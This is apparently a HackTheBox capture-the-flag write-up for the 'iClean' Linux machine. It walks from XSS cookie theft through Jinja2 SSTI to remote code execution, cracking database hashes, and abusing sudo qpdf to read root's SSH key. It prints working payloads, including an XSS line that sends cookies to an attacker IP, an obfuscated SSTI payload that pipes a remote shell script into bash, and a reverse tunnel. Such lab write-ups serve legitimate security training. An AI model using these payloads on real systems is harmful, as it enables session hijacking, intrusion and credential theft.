HTB: iClean Writeup

Machine Information
| Attribute | Details | |
|---|---|---|
| Name | iClean (Capiclean) | |
| OS | Linux | |
| Difficulty | Medium | |
| Points | N/A | |
| Release Date | N/A | |
| Hostname | capiclean.htb | |
| Author | N/A | |
Machine Rating
⭐⭐⭐⭐☆ (7.0/10)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
iClean is a Medium-difficulty Linux machine running Flask with MySQL backend. The attack chain involves discovering an XSS vulnerability in the service request form to steal admin session cookies, exploiting Server-Side Template Injection (SSTI) in the QRGenerator endpoint to achieve RCE, extracting database credentials and cracking them for SSH access, and finally using a misconfigurations qpdf binary to extract the root SSH key.
TL;DR: XSS to steal cookies → SSTI for RCE → Database credentials → SSH → Privilege escalation via qpdf.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- capiclean.htbResults:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 (protocol 2.0)80/tcp open http Apache httpd 2.4.52 (Ubuntu) Werkzeug/2.3.7 Python/3.10.12 (Flask)Service Enumeration
Hostname: capiclean.htb
Web enumeration revealed the following endpoints:
/logout- Logout endpoint/login- Login page/about- About page/services- Services listing/dashboard- Admin dashboard/team- Team information/quote- Service quote form/choose- Service selection/server-status- Server status page
Vulnerability Assessment
Identified Vulnerabilities:
- Cross-Site Scripting (XSS) in
/quoteendpoint email field - Server-Side Template Injection (SSTI) in QRGenerator endpoint
- Weak Privilege Escalation Controls - qpdf can be run with sudo without restrictions
Initial Foothold
XSS Exploitation in Quote Form
The /quote endpoint contains a service request form vulnerable to XSS in the email field. By injecting JavaScript, we can steal the admin’s session cookie.
XSS Payload:
<img src=x onerror=this.src="http://10.10.14.64:8001/"+btoa(document.cookie)>Exploitation Steps:
- Set up a simple HTTP listener to capture the payload response:
python3 -m http.server 8001- Send the XSS payload via POST to
/sendMessage:
curl -X POST http://capiclean.htb/sendMessage \ -d "email=<img src=x onerror=this.src=\"http://10.10.14.64:8001/\"+btoa(document.cookie)>&message=test&name=test"-
The admin’s browser will execute the JavaScript and send their base64-encoded cookie to our server.
-
Base64 decode the captured cookie to retrieve the admin JWT session token.
Captured Admin Session Cookie (JWT):
- Role hash:
21232f297a57a5a743894a0e4a801fc3(admin) - Token can be set in browser to gain admin access to dashboard
User Compromise
SSTI to RCE Exploitation
With admin access via the stolen session cookie, we can access the /dashboard which exposes the QRGenerator endpoint. This endpoint is vulnerable to Server-Side Template Injection.
Step 1: Leak Flask Configuration
Send a POST request to /QRGenerator with a template injection payload:
curl -X POST http://capiclean.htb/QRGenerator \ -H "Cookie: session=<admin_jwt>" \ -d "qr_link={{config.items()}}"This reveals Flask’s configuration including the SECRET_KEY:
SECRET_KEY: zvwxzkpjjvlzcnqqajyldqkoeuivcnzvtsonshgdtwamrimnnmhbnmkttntiecmjStep 2: RCE via SSTI
Using Python’s object traversal capabilities through SSTI, we can execute arbitrary commands:
{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('curl 10.10.14.64:8000/shell.sh|bash',shell=True,stdout=-1).communicate()}}This uses hex encoding to bypass certain filters and chain through Python classes to access the subprocess.Popen class at index 365.
Credential Extraction from Database
After gaining shell access, examine the application source code:
cat /var/www/html/app.pyFind database credentials:
Database User: icleanDatabase Password: pxCsmnGLckUbDatabase: icleanDatabase Enumeration
Set up port forwarding with chisel:
# On attacker machine./chisel server -p 8000 --reverse
# On target machine./chisel client 10.10.14.64:8000 R:3306:localhost:3306Connect to MySQL and dump the users table:
mysql -h localhost -u iclean -ppxCsmnGLckUb iclean
SELECT * FROM users;Users Table:
admin: 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51consuela: 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aaHash Cracking
Using online hash databases (crackstation.net) or hashcat:
consuela’s password: simple and clean
SSH Access
ssh consuela@capiclean.htb# Password: simple and cleanUser Flag
cat ~/user.txt🚩 User Flag: <REDACTED>
Privilege Escalation
Enumeration
sudo -lOutput:
(ALL) /usr/bin/qpdfUser consuela can run qpdf with root privileges without password.
Exploitation via qpdf
The qpdf utility can be abused to read arbitrary files using the --add-attachment flag. While normally used to embed files in PDFs, we can extract the root SSH key.
Step 1: Extract root’s SSH key
sudo qpdf --empty --add-attachment /root/.ssh/id_rsa --mimetype=text/plain -- extract.pdfThis creates a PDF with the SSH key embedded as an attachment.
Step 2: Extract the SSH key from the PDF
Use binwalk to extract files embedded in the PDF:
binwalk -e extract.pdfcd _extract.pdf.extractedThe extracted directory will contain the root SSH key.
Step 3: SSH as root
ssh -i id_rsa root@capiclean.htbRoot Flag
cat /root/root.txt🚩 Root Flag: <REDACTED>
Attack Chain Summary
graph TD A["XSS in /quote endpoint<br/>Steal admin cookie"] --> B["Access /dashboard<br/>with admin JWT"] B --> C["SSTI in QRGenerator<br/>Leak SECRET_KEY & RCE"] C --> D["Execute shell commands<br/>Extract DB credentials"] D --> E["MySQL: consuela hash<br/>Crack password"] E --> F["SSH as consuela<br/>Get user flag"] F --> G["sudo qpdf abuse<br/>Extract root SSH key"] G --> H["SSH as root<br/>Get root flag"]Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service fingerprinting |
gobuster | Directory enumeration |
ffuf | Web fuzzing and parameter discovery |
Burp Suite | HTTP request interception and SSTI testing |
curl | HTTP requests and XSS payload delivery |
python3 | HTTP server for XSS exfiltration, scripting |
chisel | TCP tunneling for MySQL port forwarding |
mysql | Database enumeration and credential extraction |
hashcat | Hash cracking |
crackstation | Online hash database lookup |
binwalk | Extracting files from PDF attachments |
qpdf | PDF manipulation and file embedding |
ssh | Secure shell access to target |
Vulnerability Reference
| # | Vulnerability | Component | Severity | Impact |
|---|---|---|---|---|
| 1 | Cross-Site Scripting (XSS) | Quote Form (/quote) | High | Session hijacking, cookie theft |
| 2 | Server-Side Template Injection (SSTI) | QRGenerator Endpoint | Critical | Remote Code Execution |
| 3 | Insecure Sudo Privileges | qpdf Binary | High | Arbitrary file read as root |
| 4 | Weak Password Hash | Database | Medium | Credential compromise via cracking |
Key Learnings
-
XSS as a Gateway: Client-side vulnerabilities like XSS can directly compromise admin sessions and escalate attack surface significantly. Always validate and sanitize user input in form fields.
-
SSTI is Critical: Server-side template injection in Flask and similar frameworks can lead directly to RCE. Never render user-controlled data through template engines without proper sandboxing.
-
Credential Extraction Chains: Finding credentials in application source code or configuration files is common. Always check application directories for hardcoded database credentials.
-
Weak Sudo Configurations: Allowing specific binaries to run with sudo without restrictions is dangerous. Even utilities like
qpdfdesigned for file manipulation can be abused to read sensitive files. -
Hash Cracking: Simple, common passwords can be cracked quickly using online databases or standard wordlists. Defense in depth is essential — don’t rely solely on password hashes for sensitive accounts.
-
JWT Session Cookies: JWT tokens visible in cookies should be treated as sensitive credentials. Stealing them can grant full account compromise without needing to crack passwords.
References
- SSTI in Flask: Jinja2 template injection exploitation techniques
- XSS Exploitation: Session cookie theft via DOM-based XSS
- qpdf Abuse: Using PDF utilities for arbitrary file access
- MySQL Enumeration: Database credential extraction and hash cracking
Author
Writeup Created: 08 Mar 2026
Disclaimer
This writeup is for educational purposes only. All activities described were performed in a controlled, legal environment (HackTheBox platform). Unauthorized access to computer systems is illegal.
Last Updated: 08 Mar 2026
Tags: #HackTheBox #Linux #Medium #Flask #SSTI #XSS #JWT #PrivEsc